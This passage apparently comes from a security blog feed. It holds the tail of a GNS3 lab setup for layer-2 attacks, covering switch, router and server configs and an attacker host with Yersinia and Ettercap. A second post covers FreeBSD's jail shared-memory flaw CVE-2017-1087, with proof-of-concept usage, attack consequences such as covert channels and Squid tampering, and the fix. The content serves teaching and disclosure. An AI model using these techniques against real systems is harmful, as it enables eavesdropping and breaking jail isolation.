<p><span class="lb-small floatright"><a href="#esw4.png" id="esw4.png-thumb" title="Click to enlarge"><img alt="ESW4 ethernet swtich" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw4.png"/></a></span>
<span class="caps">ESW4</span> configuration (router-based version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">vtp</span> mode client
<span class="k">interface</span> range<span class="s"> fastEthernet 1/1 - 15</span>
<span class="k">switchport</span> access vlan <span class="s">2</span>
<span class="nb">exit</span>
<span class="k">interface</span><span class="s"> fastEthernet 1/0</span>
<span class="k">switchport</span> trunk encapsulation dot1q
<span class="k">switchport</span> mode trunk
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
</li>
<li>
<p><span class="lb-small floatright"><a href="#esw5.png" id="esw5.png-thumb" title="Click to enlarge"><img alt="ESW5 ethernet swtich" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw5.png"/></a></span>
<span class="caps">ESW5</span> configuration (router-based version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">vtp</span> mode client
<span class="k">interface</span> range<span class="s"> fastEthernet 1/1 - 15</span>
<span class="k">switchport</span> access vlan <span class="s">3</span>
<span class="nb">exit</span>
<span class="k">interface</span><span class="s"> fastEthernet 1/0</span>
<span class="k">switchport</span> trunk encapsulation dot1q
<span class="k">switchport</span> mode trunk
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
</li>
</ul>
<h4 id="r1-main-router"><a class="toclink" href="#r1-main-router"><em>R1</em>: main router</a></h4>
<p>The main router provides the following services:</p>
<ul>
<li>Inter-<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> routing.</li>
<li><span class="caps">DHCP</span> server for the VLANs 1 and 2 (the clients are given an address
belonging to the [*.100-*.199] range).</li>
<li>Firewall blocking any direct communication between <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 1 and <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 2.</li>
</ul>
<p><span class="lb-small floatright"><a href="#r1.png" id="r1.png-thumb" title="Click to enlarge"><img alt="R1 router" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/r1.png"/></a></span>
R1 configuration:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="c1">! Firewall configuration</span>
<span class="k">class-map </span>type inspect match-any <span class="nv">ALL</span>
<span class="k">match</span> protocol tcp
<span class="k">match</span> protocol udp
<span class="k">match</span> protocol icmp
<span class="nb">exit</span>
<span class="k">policy-map </span>type inspect <span class="nv">INSPECT_ALL</span>
<span class="k">class </span>type inspect <span class="nv">ALL</span>
<span class="k">inspect</span>
<span class="nb">exit</span>
<span class="nb">exit</span>
<span class="k">zone </span>security <span class="nv">USERS</span>
<span class="nb">exit</span>
<span class="k">zone </span>security <span class="nv">ADMINS</span>
<span class="nb">exit</span>
<span class="k">zone </span>security <span class="nv">SERVERS</span>
<span class="nb">exit</span>
<span class="k">zone-pair </span>security <span class="nv">USERS-SERVERS </span>source <span class="nv">USERS </span>destination <span class="nv">SERVERS</span>
<span class="k">service-policy </span>type inspect <span class="nv">INSPECT_ALL</span>
<span class="nb">exit</span>
<span class="k">zone-pair </span>security <span class="nv">ADMINS-SERVERS </span>source <span class="nv">ADMINS </span>destination <span class="nv">SERVERS</span>
<span class="k">service-policy </span>type inspect <span class="nv">INSPECT_ALL</span>
<span class="nb">exit</span>
<span class="c1">! Interfaces configuration:</span>
<span class="k">interface</span><span class="s"> fastEthernet 0/0</span>
<span class="ow">no </span><span class="k">shutdown</span>
<span class="nb">exit</span>
<span class="k">interface</span><span class="s"> fastEthernet 0/0.1</span>
<span class="k">zone-member </span>security <span class="nv">USERS</span>
<span class="k">encapsulation</span> dot1Q <span class="s">1</span>
<span class="k">ip</span> address <span class="s">192.168.1.1</span> <span class="s">255.255.255.0</span>
<span class="nb">exit</span>
<span class="k">interface</span><span class="s"> fastEthernet 0/0.2</span>
<span class="k">zone-member </span>security <span class="nv">ADMINS</span>
<span class="k">encapsulation</span> dot1Q <span class="s">2</span>
<span class="k">ip</span> address <span class="s">192.168.2.1</span> <span class="s">255.255.255.0</span>
<span class="nb">exit</span>
<span class="k">interface</span><span class="s"> fastEthernet 0/0.3</span>
<span class="k">zone-member </span>security <span class="nv">SERVERS</span>
<span class="k">encapsulation</span> dot1Q <span class="s">3</span>
<span class="k">ip</span> address <span class="s">192.168.3.1</span> <span class="s">255.255.255.0</span>
<span class="nb">exit</span>
<span class="c1">! DHCP server configuration:</span>
<span class="k">ip</span> dhcp excluded-address <span class="s">192.168.1.0</span> <span class="s">192.168.1.99</span>
<span class="k">ip</span> dhcp excluded-address <span class="s">192.168.1.200</span> <span class="s">192.168.1.255</span>
<span class="k">ip </span>dhcp pool <span class="nv">VLAN1</span>
<span class="k">network</span> <span class="s">192.168.1.0</span> <span class="s">255.255.255.0</span>
<span class="k">default-router</span> <span class="s">192.168.1.1</span>
<span class="c1">! Normally you would also set the DNS server here.</span>
<span class="nb">exit</span>
<span class="k">ip</span> dhcp excluded-address <span class="s">192.168.2.0</span> <span class="s">192.168.2.99</span>
<span class="k">ip</span> dhcp excluded-address <span class="s">192.168.2.200</span> <span class="s">192.168.2.255</span>
<span class="k">ip </span>dhcp pool <span class="nv">VLAN2</span>
<span class="k">network</span> <span class="s">192.168.2.0</span> <span class="s">255.255.255.0</span>
<span class="k">default-router</span> <span class="s">192.168.2.1</span>
<span class="nb">exit</span>
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
<h4 id="server_1-a-shared-web-server"><a class="toclink" href="#server_1-a-shared-web-server"><em>Server_1</em>: a shared web server</a></h4>
<p><span class="lb-small floatright"><a href="#server-1.png" id="server-1.png-thumb" title="Click to enlarge"><img alt="server_1 server" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/server-1.png"/></a></span>
On my side I will use <a href="https://bitnami.com/stack/wordpress" rel="external" title="Bitnami WordPress Stack (Bitnami)">Bitnami Wordpress</a> image to act as the server.
Feel free to use anything you like, as long as there is some data to intercept.</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32</pre></div></td><td class="code"><div class="codehilite"><pre><span class="c"># If you need to change the keyboard layout (French layout here):</span>
sudo loadkeys fr
<span class="c"># To get a root shell (ONLY FOR LAB PURPOSES!)</span>
sudo -s
ifconfig eth0 192.168.3.100
<span class="c"># Avoid bug (?) from IOU by reducing the MTU to leave enough room</span>
<span class="c"># for the 802.1q VLAN tag (4 bytes), otherwise IOU drops large</span>
<span class="c"># packets outgoing the trunk interface with the error:</span>
<span class="c"># "LINK-4-TOOBIG: Interface Ethernet0/0, Output packet size of 1518 bytes too big"</span>
ifconfig eth0 mtu 1496
route add default gw 192.168.3.1
vi /etc/network/interfaces
<span class="c"># [...skipped...]</span>
auto eth0
iface eth0 inet static
address 192.168.3.100/24
gateway 192.168.3.1
mtu 1496
<span class="c"># [...skipped...]</span>
vi /etc/hosts
127.0.0.1 localhost
192.168.3.100 bitnami
<span class="c"># Force Apache to listen on the IPv4 interface instead of IPv6 ones</span>
vi /opt/bitnami/apache2/conf/httpd.conf
<span class="c"># [...skipped...]</span>
<span class="c"># Listen 80</span>
Listen 0.0.0.0:80
<span class="c"># [...skipped...]</span>
<span class="c"># To restart the services:</span>
service bitnami restart
</pre></div>
</td></tr></table></div>
<h4 id="user_1-admin_1-clients"><a class="toclink" href="#user_1-admin_1-clients"><em>User_1</em>, <em>Admin_1</em>: clients</a></h4>
<p><span class="lb-small floatright"><a href="#user-1_admin-1.png" id="user-1_admin-1.png-thumb" title="Click to enlarge"><img alt="user_1 and admin_1 workstations" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/user-1_admin-1.png"/></a></span>
For them on my side I will use <span class="caps">GNS3</span>’s <a href="https://gns3.com/marketplace/appliance/firefox-guest" rel="external" title="Firefox guest (GNS3 Marketplace)">Firefox appliance</a>.
It is a super-light graphical Linux with Firefox.</p>
<ul>
<li>When creating the end-device template, don’t forget to edit the Qemu
options: <code>-vga std -usbdevice tablet -k fr</code>.</li>
<li>You have an icon in the dock to set the keyboard layout on the first boot.</li>
</ul>
<p>Ensure that <em>User_1</em> and <em>Admin_1</em> can both open <em>http://192.168.3.100</em> in
their browser:</p>
<p><span class="lb-small"><a href="#client.jpg" id="client.jpg-thumb" title="Click to enlarge"><img alt="Client accessing the server's homepage" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/client.jpg"/></a></span></p>
<h4 id="attacker-the-source-of-all-evil"><a class="toclink" href="#attacker-the-source-of-all-evil"><em>Attacker</em>: the source of all evil</a></h4>
<p><span class="lb-small floatright"><a href="#attacker.png" id="attacker.png-thumb" title="Click to enlarge"><img alt="attacker workstations" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/attacker.png"/></a></span>
I will use <a href="https://backbox.org/" rel="external" title="BackBox project homepage">BackBox</a> Linux.
If you are more comfortable with another distribution, feel free to use it
instead.
We will mostly work with <a href="http://www.yersinia.net/" rel="external" title="Yersinia project homepage">Yersinia</a> and <a href="https://ettercap.github.io/ettercap/" rel="external" title="Ettercap project homepage">Ettercap</a>, ensure you have them
available on your system.</p>
<p><em>Attacker</em> can ping <em>User_1</em> but cannot ping <em>Admin_1</em>:</p>
<div class="codehilite"><pre><span class="gp">backbox@backbox:~$</span> ping -c <span class="m">1</span> 192.168.1.100
<span class="go">PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.</span>
<span class="go">64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=0.919 ms</span>
<span class="go">--- 192.168.1.100 ping statistics ---</span>
<span class="go">1 packets trasmitted, 1 received, 0% packet loss, time 0 ms</span>
<span class="go">rtt min/avg/max/mdev = 0.919/0.919/0.919/0.OOO ms</span>
<span class="gp">backbox@backbox:~$</span> ping -c <span class="m">1</span> 192.168.2.100
<span class="go">PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.</span>
<span class="go">--- 192.168.2.100 ping statistics ---</span>
<span class="go">1 packets trasmitted, 0 received, 100% packet loss, time 0 ms</span>
<span class="gp">backbox@backbox:~$</span>
</pre></div>
<p>He also has access to <em>Server_1</em>.</p>FreeBSD jail SHM hole (CVE-2017-1087)2017-08-02T00:00:00+02:002017-11-16T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-08-02:/posts/2017/08/02/freebsd-jail-shm-hole/<p>In FreeBSD early days, shared memory (<span class="caps">SHM</span>) objects were associated to an actual
file system object.
Each jail having its own filesystem root, <span class="caps">SHM</span> object were therefore not
reachable by other jails.</p>
<p>FreeBSD 7.0 switched to a purely abstract representation of <span class="caps">SHM</span> objects.
They are now just names, with no relation to the underlying filesystem.</p>
<p>Due to this, any jail gained a read-write access to any <span class="caps">SHM</span> object
system-wide, with no available workaround to prevent or limit this
(this is not to be confused with IPCs which can be disabled on a per-jail basis,
here there is strictly no way to prevent the issue).</p>
<p>This issue has been published in the FreeBSD Security Advisory
<a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-17:09.shm.asc" rel="external" title="POSIX shm allows jails to access global namespace (FreeBSD Security Advisories)">FreeBSD-<span class="caps">SA</span>-17:09</a> and <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1087" rel="external" title="POSIX shm allows jails to access global namespace (Common Vulnerabilities and Exposure database)"><span class="caps">CVE</span>-2017-1087</a>.</p>
<h3>Proof-of-concept</h3>
<p><em><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c" title="Download fbsd-shm-hole.c">fbsd-shm-hole.c</a></em> is a small <span class="caps">POC</span> allowing to quickly
test and demonstrate the issue.</p>
<p class="download button"><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c" title="Download fbsd-shm-hole.c">Download</a>
<br/><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c.sha512" title="SHA-512 digest"><span class="caps">SHA</span>-512</a> <a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c.sig" title="OpenPGP signature">OpenPGP</a></p>
<ol>
<li>
<p>Compile and copy this tool in two different jails …</p></li></ol><p>In FreeBSD early days, shared memory (<span class="caps">SHM</span>) objects were associated to an actual
file system object.
Each jail having its own filesystem root, <span class="caps">SHM</span> object were therefore not
reachable by other jails.</p>
<p>FreeBSD 7.0 switched to a purely abstract representation of <span class="caps">SHM</span> objects.
They are now just names, with no relation to the underlying filesystem.</p>
<p>Due to this, any jail gained a read-write access to any <span class="caps">SHM</span> object
system-wide, with no available workaround to prevent or limit this
(this is not to be confused with IPCs which can be disabled on a per-jail basis,
here there is strictly no way to prevent the issue).</p>
<p>This issue has been published in the FreeBSD Security Advisory
<a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-17:09.shm.asc" rel="external" title="POSIX shm allows jails to access global namespace (FreeBSD Security Advisories)">FreeBSD-<span class="caps">SA</span>-17:09</a> and <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1087" rel="external" title="POSIX shm allows jails to access global namespace (Common Vulnerabilities and Exposure database)"><span class="caps">CVE</span>-2017-1087</a>.</p>
<h3 id="proof-of-concept"><a class="toclink" href="#proof-of-concept">Proof-of-concept</a></h3>
<p><em><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c" title="Download fbsd-shm-hole.c">fbsd-shm-hole.c</a></em> is a small <span class="caps">POC</span> allowing to quickly
test and demonstrate the issue.</p>
<p class="download button"><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c" title="Download fbsd-shm-hole.c">Download</a>
<br/><a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c.sha512" title="SHA-512 digest"><span class="caps">SHA</span>-512</a> <a href="https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/fbsd-shm-hole.c.sig" title="OpenPGP signature">OpenPGP</a></p>
<ol>
<li>
<p>Compile and copy this tool in two different jails.</p>
</li>
<li>
<p>In the first jail, pass an arbitrary <span class="caps">SHM</span> object path and a some string
as parameter to this tool:</p>
<div class="codehilite"><pre><span class="gp">user@jail1:~$</span> ./fbsd-shm-hole /foo/bar <span class="s2">"Anything there?"</span>
<span class="gp">user@jail1:~$</span>
</pre></div>
</li>
<li>
<p>On the second jail pass only the path, the content of the string will be
read from the <span class="caps">SHM</span> object and displayed on the output:</p>
<div class="codehilite"><pre><span class="gp">user@jail2:~$</span> ./fbsd-shm-hole /foo/bar
<span class="go">Anything there?</span>
<span class="gp">user@jail2:~$</span>
</pre></div>
</li>
</ol>
<h3 id="consequences"><a class="toclink" href="#consequences">Consequences</a></h3>
<h4 id="covert-channel-communication"><a class="toclink" href="#covert-channel-communication">Covert-channel communication</a></h4>
<p>As demonstrated by the <span class="caps">POC</span>, two cooperative processes located in different
jails can freely communicate.</p>
<p>This opens an issue in particular for air-gaped jails.
While a malware executing in such environment is known to be able alter or
destruct the content of the jail (which is usually harmless thanks to
snapshots), the lack of communication medium in the jail ensures that no data
stored in the jail could be exfiltrated.</p>
<p>Thanks to this system, it becomes possible to use an untrusted jail with
networking capabilities as a pivot to control a payload executing in such an
air-gaped jail and gain a full access to its content.</p>
<h4 id="exploit-processes-located-outside-of-the-jail"><a class="toclink" href="#exploit-processes-located-outside-of-the-jail">Exploit processes located outside of the jail</a></h4>
<p>Any process relying on <span class="caps">SHM</span> objects is susceptible to be attacked from any jail.
Moreover <span class="caps">SHM</span> objects being usually trusted by the software their content is
often not sanitized, leaving a wide range of possible exploits ranging from
a simple denial-of-service to arbitrary command execution.</p>
<p>A good example of such vulnerable software is the Squid proxy.
This software relies on <span class="caps">SHM</span> objects for its inter-process communication and is
therefore vulnerable to this issue, in particular when several workers are
enabled in which case Squid immediately segfaults as-soon-as a few garbage is
written in its shared memory.</p>
<p>In this example, Squid process <span class="caps">SHM</span> objects are writable from any jail, and any
attacker gaining control of the Squid process becomes in measure to execute
man-in-the-middle attacks on every communication routed through this software
(and also gains a read-write access to the proxy cache content).</p>
<h3 id="fix"><a class="toclink" href="#fix">Fix</a></h3>
<p>Normally the usage of <span class="caps">IPC</span> resources should be limited to some trusted jails
using the <code>allow.sysipc</code> <a href="https://www.freebsd.org/cgi/man.cgi?query=jail&apropos=0&sektion=8&manpath=FreeBSD+10.3-RELEASE&arch=default&format=html" rel="external" title="Jail(8) man page on vulnerable systems">jail(8)</a> setting:</p>
<blockquote>
<dl>
<dt>allow.sysvipc</dt>
<dd>A process within the jail has access to System V <span class="caps">IPC</span>
primitives. In the current jail implementation, System V
primitives share a single namespace across the host and
jail environments, meaning that processes within a jail
would be able to communicate with (and potentially inter-
fere with) processes outside of the jail, and in other jails.</dd>
</dl>
</blockquote>
<p>However, due to the historical implementation mentioned in the introduction
this setting only affects the <span class="caps">IPC</span> queues and does not affect other <span class="caps">IPC</span> objects
such as <span class="caps">SHM</span>.</p>
<p>There is therefore no mitigation measure available for this issue on vulnerable systems.</p>
<p>FreeBSD development team has been informed of this issue in <a href="https://lists.freebsd.org/pipermail/freebsd-jail/2016-March/003004.html" rel="external" title="Notification to FreeBSD development team">March 2016</a>.
They fixed the issue by changing the way <span class="caps">SHM</span> objects were handled internally,
modified <code>allow.sysipc</code> to now take all <span class="caps">IPC</span> objects and
updated the <a href="https://www.freebsd.org/cgi/man.cgi?query=jail&apropos=0&sektion=8&manpath=FreeBSD+11.0-RELEASE&arch=default&format=html" rel="external" title="Jail(8) man page on fixed systems">jail(8)</a> man page accordingly.</p>
<p>This fix is available for FreeBSD 10.3 and above.</p>